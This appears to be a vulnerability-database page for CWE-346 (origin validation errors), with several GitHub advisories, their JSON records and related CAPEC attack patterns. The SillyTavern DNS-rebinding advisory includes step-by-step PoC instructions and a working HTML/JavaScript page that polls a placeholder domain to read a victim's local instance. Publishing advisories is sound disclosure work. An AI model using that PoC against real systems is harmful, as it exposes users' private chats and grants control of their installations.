CWE-346
Allowed-with-ReviewOrigin Validation Error
Abstraction: Class · Status: Draft
The product does not properly verify that the source of data or communication is valid.
789 vulnerabilities reference this CWE, most recent first.
GHSA-75MV-F5HH-C65H
Vulnerability from github – Published: 2023-11-01 18:30 – Updated: 2023-11-08 21:30Inappropriate implementation in Downloads in Google Chrome prior to 119.0.6045.105 allowed a remote attacker to obfuscate security UI via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2023-5851"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-01T18:15:10Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Downloads in Google Chrome prior to 119.0.6045.105 allowed a remote attacker to obfuscate security UI via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-75mv-f5hh-c65h",
"modified": "2023-11-08T21:30:36Z",
"published": "2023-11-01T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5851"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2023/10/stable-channel-update-for-desktop_31.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1473957"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MHLJRFWZNY6BFOW25Q4FEESVWZKS4C2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EBA4KD5ZSV6XWWFLVR5UBYKKNOYMH33H"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PHWLT3M2AQDFD7RNAM3NJMYUC5KHMO5V"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202311-11"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202312-07"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202401-34"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5546"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-75PX-C7R9-GHWH
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2024-04-04 01:21Images from a different domain can be read using a canvas object in some circumstances. This could be used to steal image data from a different site in violation of same-origin policy. This vulnerability affects Thunderbird < 60.7, Firefox < 67, and Firefox ESR < 60.7.
{
"affected": [],
"aliases": [
"CVE-2019-9817"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-23T14:15:00Z",
"severity": "MODERATE"
},
"details": "Images from a different domain can be read using a canvas object in some circumstances. This could be used to steal image data from a different site in violation of same-origin policy. This vulnerability affects Thunderbird \u003c 60.7, Firefox \u003c 67, and Firefox ESR \u003c 60.7.",
"id": "GHSA-75px-c7r9-ghwh",
"modified": "2024-04-04T01:21:36Z",
"published": "2022-05-24T16:51:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9817"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1540221"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-13"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-14"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2019-15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-75V5-6885-59F9
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2026-06-05 14:13A Cross-Origin Resource Sharing (CORS) vulnerability exists in modelscope/agentscope version v0.0.4. The CORS configuration on the agentscope server does not properly restrict access to only trusted origins, allowing any external domain to make requests to the API. This can lead to unauthorized data access, information disclosure, and potential further exploitation, thereby compromising the integrity and confidentiality of the system.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "agentscope"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-8487"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-20T20:50:34Z",
"nvd_published_at": "2025-03-20T10:15:42Z",
"severity": "HIGH"
},
"details": "A Cross-Origin Resource Sharing (CORS) vulnerability exists in modelscope/agentscope version v0.0.4. The CORS configuration on the agentscope server does not properly restrict access to only trusted origins, allowing any external domain to make requests to the API. This can lead to unauthorized data access, information disclosure, and potential further exploitation, thereby compromising the integrity and confidentiality of the system.",
"id": "GHSA-75v5-6885-59f9",
"modified": "2026-06-05T14:13:53Z",
"published": "2025-03-20T12:32:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8487"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelscope/agentscope"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/agentscope/PYSEC-2025-81.yaml"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/7aca7507-a94e-4e63-83a2-15648e5c4067"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AgentScope Cross-Origin Resource Sharing (CORS) vulnerability"
}
GHSA-7639-W2PG-XP7V
Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2022-05-24 16:56Adobe Flash Player 32.0.0.238 and earlier versions, 32.0.0.207 and earlier versions have a Same Origin Method Execution vulnerability. Successful exploitation could lead to Arbitrary Code Execution in the context of the current user.
{
"affected": [],
"aliases": [
"CVE-2019-8069"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-12T19:15:00Z",
"severity": "HIGH"
},
"details": "Adobe Flash Player 32.0.0.238 and earlier versions, 32.0.0.207 and earlier versions have a Same Origin Method Execution vulnerability. Successful exploitation could lead to Arbitrary Code Execution in the context of the current user.",
"id": "GHSA-7639-w2pg-xp7v",
"modified": "2022-05-24T16:56:07Z",
"published": "2022-05-24T16:56:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8069"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/flash-player/apsb19-46.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201911-05"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-76G7-M3XW-X9GR
Vulnerability from github – Published: 2026-06-13 12:31 – Updated: 2026-06-13 12:31The Model Context Protocol has a security warning advising servers to validate the "Origin" header on all incoming connections to prevent DNS rebinding attacks. Prior to the v0.25.0 release, users had no way to validate the origin's host. In v0.25.0, a new "--allowed-hosts" flag was introduced alongside the existing "--allowed-origins" flag, enabling users to specify permitted hosts at server startup. Both flags default to "", allowing users to implement strict access controls as needed without breaking existing setups. If either flag is set to "", the server will output a startup warning about potential vulnerabilities. Documentation has also been updated to highlight these security considerations.
{
"affected": [],
"aliases": [
"CVE-2026-11624"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-13T10:16:17Z",
"severity": "CRITICAL"
},
"details": "The Model Context Protocol has a security warning advising servers to validate the \"Origin\" header on all incoming connections to prevent DNS rebinding attacks. Prior to the v0.25.0 release, users had no way to validate the origin\u0027s host. In v0.25.0, a new \"--allowed-hosts\" flag was introduced alongside the existing \"--allowed-origins\" flag, enabling users to specify permitted hosts at server startup. Both flags default to \"*\", allowing users to implement strict access controls as needed without breaking existing setups. If either flag is set to \"*\", the server will output a startup warning about potential vulnerabilities. Documentation has also been updated to highlight these security considerations.",
"id": "GHSA-76g7-m3xw-x9gr",
"modified": "2026-06-13T12:31:25Z",
"published": "2026-06-13T12:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11624"
},
{
"type": "WEB",
"url": "https://github.com/googleapis/mcp-toolbox/issues/3113"
},
{
"type": "WEB",
"url": "https://github.com/googleapis/mcp-toolbox/pull/2254"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7999-F467-C4M7
Vulnerability from github – Published: 2022-02-13 00:00 – Updated: 2022-03-17 00:05Inappropriate implementation in Blink in Google Chrome prior to 97.0.4692.71 allowed a remote attacker to leak cross-origin data via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2022-0113"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-12T00:15:00Z",
"severity": "MODERATE"
},
"details": "Inappropriate implementation in Blink in Google Chrome prior to 97.0.4692.71 allowed a remote attacker to leak cross-origin data via a crafted HTML page.",
"id": "GHSA-7999-f467-c4m7",
"modified": "2022-03-17T00:05:39Z",
"published": "2022-02-13T00:00:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0113"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2022/01/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1039885"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5PAGL5M2KGYPN3VEQCRJJE6NA7D5YG5X"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KQJB6ZPRLKV6WCMX2PRRRQBFAOXFBK6B"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRWRAXAFR3JR7XCFWTHC2KALSZKWACCE"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-79XR-W992-C9FW
Vulnerability from github – Published: 2023-06-22 12:30 – Updated: 2024-04-04 05:00An incorrect access control issue was discovered in Interlink PSG-5124 version 1.0.4, allows attackers to execute arbitrary code via crafted GET request.
{
"affected": [],
"aliases": [
"CVE-2023-29711"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-22T12:15:11Z",
"severity": "CRITICAL"
},
"details": "An incorrect access control issue was discovered in Interlink PSG-5124 version 1.0.4, allows attackers to execute arbitrary code via crafted GET request.",
"id": "GHSA-79xr-w992-c9fw",
"modified": "2024-04-04T05:00:31Z",
"published": "2023-06-22T12:30:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29711"
},
{
"type": "WEB",
"url": "https://github.com/shellpei/LINK-Unauthorized/blob/main/CVE-2023-29711"
},
{
"type": "WEB",
"url": "https://holistic-height-e6d.notion.site/LINK-PSG-5124-Switch-remote-command-vulnerability-da4fd8fb450d42879b07ef3a953a2366"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7CXJ-W27X-X78Q
Vulnerability from github – Published: 2025-10-06 20:18 – Updated: 2025-10-06 20:18Summary
The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
Details
DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.
PoC
- Host the PoC HTML file on a
/rebind.htmlendpoint (or any other endpoint) on a web server on port 8000 - Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
- Replace the URL in the HTML with the returned URL on the site
- Go to
http://[URL]:8000/rebind.htmlin firefox or on any mobile browser if you're using termux - Check the developer tools console. It should return all of the data
Here is the PoC code:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
while (true) {
try {
let res = await fetch("http://[DOMAIN HERE]:8000/");
let text = await res.text();
if (text.includes("Directory listing for /")) {
console.log("Still attacker server, retrying...");
await new Promise(r => setTimeout(r, 2000));
continue; // don't break yet
}
console.log("GOT VICTIM RESPONSE!");
console.log(text.substring(0, 300));
break;
} catch (e) {
console.log("Fetch failed, retrying...", e);
await new Promise(r => setTimeout(r, 2000));
}
}
}
tryRebind();
</script>
</body>
</html>
Impact
Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
Resolution
A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.
While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Resources
- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "sillytavern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59159"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-940"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-06T20:18:55Z",
"nvd_published_at": "2025-10-06T16:15:34Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.\n\n### Details\nDNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like `127.0.0.1` for a site\u0027s DNS address. This allows anybody to get remote access to anyone\u0027s SillyTavern instance **without** it being exposed, just by visiting a website. \n\n### PoC\n1. Host the PoC HTML file on a `/rebind.html` endpoint (or any other endpoint) on a web server on port 8000\n2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)\n3. Replace the URL in the HTML with the returned URL on the site\n4. Go to `http://[URL]:8000/rebind.html` in firefox or on any mobile browser if you\u0027re using termux\n5. Check the developer tools console. It should return all of the data \n\nHere is the PoC code:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003cmeta charset=\"utf-8\"\u003e\n \u003ctitle\u003eRebind Payload\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nasync function tryRebind() {\n while (true) {\n try {\n let res = await fetch(\"http://[DOMAIN HERE]:8000/\");\n let text = await res.text();\n\n if (text.includes(\"Directory listing for /\")) {\n console.log(\"Still attacker server, retrying...\");\n await new Promise(r =\u003e setTimeout(r, 2000));\n continue; // don\u0027t break yet\n }\n\n console.log(\"GOT VICTIM RESPONSE!\");\n console.log(text.substring(0, 300));\n break;\n\n } catch (e) {\n console.log(\"Fetch failed, retrying...\", e);\n await new Promise(r =\u003e setTimeout(r, 2000));\n }\n }\n}\ntryRebind();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\nAttackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users\u0027 SillyTavern systems. \n\n### Resolution\nA vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable.\n\nWhile the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.\n\n- [Documentation](https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting)\n- [Security checklist](https://docs.sillytavern.app/administration/#security-checklist)\n\n### Resources\n- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320",
"id": "GHSA-7cxj-w27x-x78q",
"modified": "2025-10-06T20:18:55Z",
"published": "2025-10-06T20:18:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59159"
},
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320"
},
{
"type": "WEB",
"url": "https://docs.sillytavern.app/administration/#security-checklist"
},
{
"type": "WEB",
"url": "https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting"
},
{
"type": "PACKAGE",
"url": "https://github.com/SillyTavern/SillyTavern"
},
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SillyTavern Web Interface Vulnerable DNS Rebinding"
}
GHSA-7FCG-2P4Q-XRXX
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50A missing origin check related to HLS manifests in Blink in Google Chrome prior to 69.0.3497.81 allowed a remote attacker to bypass same origin policy via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2018-16072"
],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-09T19:29:00Z",
"severity": "MODERATE"
},
"details": "A missing origin check related to HLS manifests in Blink in Google Chrome prior to 69.0.3497.81 allowed a remote attacker to bypass same origin policy via a crafted HTML page.",
"id": "GHSA-7fcg-2p4q-xrxx",
"modified": "2022-05-13T01:50:16Z",
"published": "2022-05-13T01:50:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16072"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2018/09/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://crbug.com/864283"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201811-10"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105215"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7HRG-5W46-5R2X
Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-05-04 16:51Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-qm77-8qjp-4vcm. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.4.2 fails to filter Slack thread context by sender allowlist, allowing non-allowlisted messages to enter agent context. Attackers can inject unauthorized thread messages through allowlisted user replies to bypass sender access controls and manipulate model context.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T16:51:47Z",
"nvd_published_at": "2026-04-23T22:16:43Z",
"severity": "LOW"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-qm77-8qjp-4vcm. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.4.2 fails to filter Slack thread context by sender allowlist, allowing non-allowlisted messages to enter agent context. Attackers can inject unauthorized thread messages through allowlisted user replies to bypass sender access controls and manipulate model context.",
"id": "GHSA-7hrg-5w46-5r2x",
"modified": "2026-05-04T16:51:47Z",
"published": "2026-04-24T00:31:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qm77-8qjp-4vcm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41358"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/ac5bc4fb37becc64a2ec314864cca1565e921f2d"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-sender-allowlist-bypass-via-slack-thread-context"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw: Slack thread context could include messages from non-allowlisted senders",
"withdrawn": "2026-05-04T16:51:47Z"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-160: Exploit Script-Based APIs
Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-510: SaaS User Request Forgery
An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-89: Pharming
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.